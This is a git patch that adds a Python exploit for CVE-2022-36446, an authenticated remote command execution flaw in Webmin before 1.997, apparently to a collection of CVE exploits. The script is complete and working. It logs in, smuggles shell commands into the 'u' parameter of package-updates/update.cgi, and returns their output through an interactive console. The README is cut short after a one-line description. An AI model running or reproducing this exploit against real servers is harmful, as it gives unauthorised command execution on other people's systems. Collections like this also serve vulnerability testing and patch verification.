From c00b75e08c587e971d6ba0481608b58465c96118 Mon Sep 17 00:00:00 2001 From: 0CarryT0 <86938839+0CarryT0@users.noreply.github.com> Date: Wed, 29 Mar 2023 19:52:35 +0800 Subject: [PATCH 1/2] add CVE-2022-36446 --- .../2022/CVE-2022-36446/CVE-2022-36446.py | 158 ++++++++++++++++++ cve/webmin/2022/CVE-2022-36446/README.md | 59 +++++++ .../2022/CVE-2022-36446/test_env/Dockerfile | 23 +++ .../2022/CVE-2022-36446/test_env/Makefile | 21 +++ cve/webmin/2022/yaml/CVE-2022-36446.yaml | 20 +++ 5 files changed, 281 insertions(+) create mode 100644 cve/webmin/2022/CVE-2022-36446/CVE-2022-36446.py create mode 100644 cve/webmin/2022/CVE-2022-36446/README.md create mode 100644 cve/webmin/2022/CVE-2022-36446/test_env/Dockerfile create mode 100644 cve/webmin/2022/CVE-2022-36446/test_env/Makefile create mode 100644 cve/webmin/2022/yaml/CVE-2022-36446.yaml diff --git a/cve/webmin/2022/CVE-2022-36446/CVE-2022-36446.py b/cve/webmin/2022/CVE-2022-36446/CVE-2022-36446.py new file mode 100644 index 00000000..cf735bbc --- /dev/null +++ b/cve/webmin/2022/CVE-2022-36446/CVE-2022-36446.py @@ -0,0 +1,158 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# File name : CVE-2022-36446.py +# Author : Podalirius (@podalirius_) +# Date created : 11 Aug 2022 + +import argparse +import binascii +import html +import requests +import os +from bs4 import BeautifulSoup + + +VERSION = "1.1" + + +def parseArgs(): + print("CVE-2022-36446 - Webmin < 1.997 - Software Package Updates RCE (Authenticated) v%s - by @podalirius_\n" % VERSION) + + parser = argparse.ArgumentParser(description="CVE-2022-36446 - Webmin < 1.997 - Software Package Updates RCE (Authenticated)") + parser.add_argument("-t", "--target", default=None, required=True, help="URL to the webmin instance") + parser.add_argument("-k", "--insecure", default=False, action="store_true", help="") + + parser.add_argument("-u", "--username", default=None, required=True, help="Username to connect to the webmin.") + parser.add_argument("-p", "--password", default=None, required=True, help="Password to connect to the webmin.") + + mode = parser.add_mutually_exclusive_group(required=True) + mode.add_argument("-I", "--interactive", default=False, action="store_true", help="Interactive console mode.") + mode.add_argument("-C", "--command", default=None, help="Only execute the specified command.") + + parser.add_argument("-v", "--verbose", default=False, action="store_true", help="Verbose mode. (default: False)") + + return parser.parse_args() + + +def webmin_login(username, password, target, verify=True): + session = requests.Session() + + try: + r = session.post( + target + "/session_login.cgi", + verify=verify, + data={ + "user": username, + "pass": password + }, + cookies={ + "testing": "1" + } + ) + + r = session.post( + target + "/sysinfo.cgi", + verify=verify, + ) + except Exception as e: + print("[error] %s" % e) + return None + + soup = BeautifulSoup(r.content, 'lxml') + html_tag = soup.find('html') + if "data-user" in html_tag.attrs.keys(): + print("[+] Successful login as '%s' to webmin." % html_tag["data-user"]) + return session + else: + return None + + +def can_access_software_updates(session, target): + r = session.get(target + "/package-updates") + soup = BeautifulSoup(r.content, 'lxml') + html_tag = soup.find('html') + if "data-module" in html_tag.attrs.keys(): + return True + else: + return False + + +def CVE_2022_36446_exec(session, target, cmd): + random_tag = binascii.hexlify(os.urandom(16)).decode('utf-8') + random_tag_h, random_tag_l = random_tag[:16], random_tag[16:] + + session.headers.update({ + "Referer": "%s/package-updates/update.cgi?xnavigation=1" % target + }) + r = session.post( + target + "/package-updates/update.cgi", + data={ + "mode": "new", + "search": "ssh", + "redir": "", + "redirdesc": "", + "u": "0;echo '%s''%s'; %s; echo '%s''%s'" % (random_tag_h, random_tag_l, cmd, random_tag_h, random_tag_l), + "confirm": "Install+Now" + } + ) + # Getting command output + splited_tags = r.content.decode('utf-8').split(random_tag) + result = "" + if len(splited_tags) >= 3: + result = splited_tags[1].strip() + result = html.unescape(result) + return result + + +if __name__ == '__main__': + options = parseArgs() + + options.target = options.target.rstrip("/") + if not options.target.startswith("http://") and not options.target.startswith("https://"): + options.target = "https://" + options.target + + if options.insecure: + # Disable warnings of insecure connection for invalid certificates + requests.packages.urllib3.disable_warnings() + # Allow use of deprecated and weak cipher methods + requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ":HIGH:!DH:!aNULL" + try: + requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ":HIGH:!DH:!aNULL" + except AttributeError: + pass + + session = webmin_login( + username=options.username, + password=options.password, + target=options.target, + verify=not(options.insecure) + ) + + if session is not None: + if can_access_software_updates(session, options.target): + print("[+] User can access Software updates") + if options.interactive: + # Interactive console + while options.interactive: + cmd = input("$ ") + if cmd.strip() != "exit": + result = CVE_2022_36446_exec( + session=session, + target=options.target, + cmd=cmd + ) + print(result) + else: + options.interactive = False + else: + # Single command + if options.command is not None: + result = CVE_2022_36446_exec( + session=session, + target=options.target, + cmd=options.command + ) + print(result) + + else: + print("[!] Could not login to webmin.") diff --git a/cve/webmin/2022/CVE-2022-36446/README.md b/cve/webmin/2022/CVE-2022-36446/README.md new file mode 100644 index 00000000..9e5fff86 --- /dev/null +++ b/cve/webmin/2022/CVE-2022-36446/README.md @@ -0,0 +1,59 @@ + + +
+ A Python script to exploit CVE-2022-36446 Software Package Updates RCE (Authenticated) on Webmin < 1.997.
+
+
+
+
+
+